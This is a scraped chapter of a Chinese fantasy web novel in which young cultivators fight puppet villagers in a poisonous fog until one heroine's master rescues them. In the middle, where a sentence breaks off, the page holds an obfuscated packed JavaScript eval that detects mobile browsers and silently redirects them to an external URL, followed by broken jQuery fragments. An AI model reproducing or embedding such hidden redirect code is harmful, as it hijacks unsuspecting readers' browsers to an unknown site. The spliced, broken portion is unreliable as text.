文趣网 > 其他小说 > 师尊何故如此 > 21. 小县陵亭(四)
    细想了下那样的画面,简荔枝双手合十祈求道:“师尊保佑,可千万不要是那什么飞头獠子。”

    忽而周遭窸窣,大雾四起,顷刻间就将几人围在中央。

    下意识地,几人后退着聚拢,背贴着背皆警惕环顾蓄势待发。拔剑的拔剑,掏符的掏符,问月顾不得细思先手捏了阵框住几人。四下悄寂时,君红笺率先反应过来,道:“那瘸腿儿呢?”

    韩殊道:“不见了。”

    雾气似水波般打在法阵引出的金色屏障上,问月维持着法阵有些吃力,道:“这雾有些不对劲。”

    “屏气。”君红笺冷声:“是殃。”

    这汹涌得几乎要凝成实体的殃气,迷蒙中恍惚有人影逼近。

    一个、两个、三个......越来越多,密密麻麻倾巢而出。

    随着这些“人形”逼近,方才看清竟是那些原本躺在家中安然入睡、身首分离的村民,各个脑袋歪扭着,却似寻不见路一般只在附近不停打转。

    “我受不了了。”简荔枝手忙脚乱的抓了一大把符箓,“荔枝大王要把他们全部炸飞!”

    君红笺拦住,道:“不能炸。”

    简荔枝道:“干嘛不炸,再走近些我要被恶心死了。”

    君红笺道:“这确实不是飞头獠子,而是傀臼。”

    闻言其他几人均是茫然:“这又是什么东西?!”

    “杵臼知道吗?将东西放进臼里,用杵来捣成碎。”君红笺解释着,未持剑的手幅度极小地比划着什么,“傀臼便是将人炼成傀儡用以作臼。”

    说白了就是个炼器的工具,将物件放入臼内,用杵碾成粉末用以淬炼凝聚。这些早就失去生气的庄中人成了傀儡,且看脖颈间溢出的墨绿汁液便知殃气已在其内凝气成体,若真炸破了傀儡,只怕殃气四散更是麻烦。这样炼人为傀又以傀作臼的手段实在有违天道,向来是被仙门百家所抵制的。能干出这事的,八成和怜生异化的真凶是同一个人,桃溪村时借怜生的手吸食殃气作为己用,如今更是装也不装,直接亲手炼化万家庄满庄人。

    费尽心思要这些殃气,到底要做什么?

    简荔枝和问月听呆了,异口同声问:“你怎么知道这些的?”

    当她真是白玉京小弟子呢,伏天仙尊也不是浪得虚名的。只是这话哪能说给他们听,君红笺想也不想甩锅给雁南归:“我师尊告诉我的。”

    问月将信将疑:“肃止仙君?他讲这些给你做什么?”

    诚然,这样阴险的事情白玉京弟子是不会遇到的,且不说傀臼早就失传已久,即便是真的出现,也轮不到他们面对——这次还真是个意外。

    君红笺打着马虎眼道:“谁知道呢,师尊他老人家就爱讲些奇奇怪怪的话。”

    身侧韩殊忽而道:“既是杵臼成套,傀臼在这里,杵呢?”

    “确实要先找杵,否则这些傀臼无知无觉又不能轻易弄破。”君红笺一手握剑扎进地里,另一手终于画完了符,符文凌空泛光,随即覆在地上,“用这个,暂时控制他们,我们先离开这。”

    符文落下逐步扩展,傀臼踩上的那一瞬皆双脚生根僵在原地,只剩上半截身子略微抽搐着想要挣扎开。

    君红笺道:“我的灵力撑不住太久,快些走。”

    闻言,问月立马收起阵,君红笺环顾四周,指了条路:“掩住口鼻,调动灵力包裹住自己,我们往那边去。”

    浓雾之中,唯有她手指的那个方向雾气最是稀薄。

    眼看将至小路边,君红笺小腿一软险些踉跄跌倒,幸得被裴松鹤扶了一把,又问她:“没事吧?”

    “没事。”她摆了摆手。

    如此大面积控制傀臼,本就极其耗费灵力,何况还要分出一部分来保护自己不被殃气侵体,一心二用两头输出,凭她现下的灵力确实有些艰难。而今额角冒汗,控制傀臼的灵力不能断,自然用在自己身上的就少了些。

    正是周身灵力隐隐不稳之际,一道金光疾驰,绕过裴松鹤落在君红笺身边形成法阵。

    问月在不远处焦心,道:“我替你先挡着殃气,你缓一缓。”

    “不必。”君红笺拒绝问月的同时也推开裴松鹤,力竭状态下言辞犀利很不客气:“你们先走,在这里帮不了什么,还叫我分神分心。”

    说的是心里话,只是非常刺耳,至少其他几个听起来是这样的。

    韩殊当即反驳:“演什么舍己为人的戏码?”

    都是同辈弟子,各个是宗门天骄,怎么就说是谁拖谁后腿了?然在君红笺看来,还真不是舍己为人,可毕竟殃气是她要查的,事是由她起的,说什么大义凛然那都是空话,实际就一句——既成因,必结果。

    “劳驾。”君红笺笑都没力气,“有功夫拌嘴不如往远跑两步呢?”

    根本无人理。

    简荔枝站在问月身侧,抬手拍出一张符,道:“荔枝大王借你点灵力。”

    而后韩殊的灵力紧随其后,一并灌进君红笺体内的还有方才被推开的裴松鹤,他还是那副谦谦君子的模样,温声道:“不劳驾,我们不走。”

    “真人神仙啊......”君红笺深感无奈又无力,气得想笑:“多谢几位,我很感动,但这点子灵力杯水车薪,真别磨蹭了。”

    几人齐声:“不。”

    君红笺:“......”

    恍然想起那日静尘居,她对雁南归说未曾经历过,因而无从比较。这下好了,经历过了一比较,果然还是从前好,孤身一人不为外界因果所束缚。

    由是她感叹:苍天呐,情意二字何其轻飘飘,压在身上怎就这样沉重。

    眼下这边几人源源不断输送灵力,那边君红笺又源源不断地用灵力压制傀臼,但终究是入不敷出,君红笺捏诀的手已然在微颤,这样下去不是办法,君红笺静心思索着破局之法。

    拼着全部灵力压制住傀臼,或许冒险了些,但也能得一线生机。

    她低垂着头想得认真,耳边裴松鹤轻声惊呼:“那是什么?”

    傀臼围绕的另一头,一道灵气凝聚的剑气破空,似从天际而来,竟劈开了浓重的大雾,携一抹淡蓝亮光强势袭来,又在临近几人时肃杀之气顿消,落在君红笺身上化为汹涌的灵力

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563874|204642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    身上疲乏感渐散,君红笺第一反应竟是:这得记下来,以后她也要这么登场。

    而后探查这股突如其来的灵力,方觉与深入万家庄前无意瞥见的是出自一人,这股莫名熟悉的感觉,叫她了然来者何人。

    下一刻雁南归从天而降,飘然落在几人中间。

    “肃止长老?”

    雁南归只略微颔首,转而看向君红笺,不问她是否无碍,清清淡淡甚至稍显漠然道:“起来。”

    而后转身便走,半点不留情。

    长者跟前,几个弟子安心之余也老实了,形似鹌鹑般一连串跟在雁南归后头。不知为何,君红笺这会儿在雁南归面前竟有些心虚,挠着额角也跟了上去。

    雁南归本就没什么话,又与这几个弟子无甚交集,一路上沉默不语只独自走在最前头带路。

    简荔枝戳着君红笺小声问:“你师尊怎么来了?”

    君红笺瞅了眼那抹银白,“呵呵”一笑道:“你问我我问谁?”

    简荔枝道:“他不是你师尊吗?”

    君红笺心道:又不是所有师尊都似辞秋仙君那样。

    也不见雁南归做什么,但一路上再不曾看到任何傀臼。自从上一次玉佩异样,她与雁南归生了争执,然之后两人又心平气和地聊过一次,玉佩却再不见有什么反应。君红笺摸不透雁南归,也摸不透玉佩指引的因果到底是什么。

    在雁南归跟前玉佩有过提示,在祟印跟前也有过提示,只是那次雁南归从她身上移走的祟印,此后玉佩便如同坏了一半沉寂。

    盯着雁南归垂在身侧的手,手心虚握向内扣着,那个祟印大抵还在他的手心。

    得找个机会,试探玉佩究竟是因何才会有应。

    眼前人停下,带着几个弟子走出了那片浓雾,再至万家庄外缘。雁南归在一处无人的破屋前驻足勘查,确认并无隐患后又对几人道:“在这里候着,随后执法殿会派人来接。”

    那怎么行??那一大堆弟子任务书岂不是白翻了?他们这一趟不就白折腾了?

    君红笺不乐意,韩殊也不见得多情愿,道:“肃止长老,我们是领了任务书来的,专程来调查万家庄一事,如今才刚到,怎么能就这样走了?”

    君红笺道:“对啊对啊对啊。”

    雁南归乜一眼她,“万家庄内诡异之处颇多,不是你们能查得了的,你们回去,这里我来查。”

    韩殊:“不行,任务书上留了名,事不成绝不走。”

    君红笺:“是啊是啊是啊。”

    雁南归再乜一眼她,抬手径直从韩殊怀里隔空掏出任务书,捏在手里一把火烧了个灰飞烟灭,道:“现在没了,可以走了。”

    韩殊:“......”

    这下好了,连堂堂正正赖着不走的名头都没了。君红笺替他们惋惜,热情向他们告别:“我师尊都发话了,你们就安心在这里等着吧。”

    转头,雁南归目光如炬,“你也回去。”

    君红笺笑嘻嘻:“不回,徒在外师命有所不受。”

    近在眼前的便宜师尊雁南归:“?”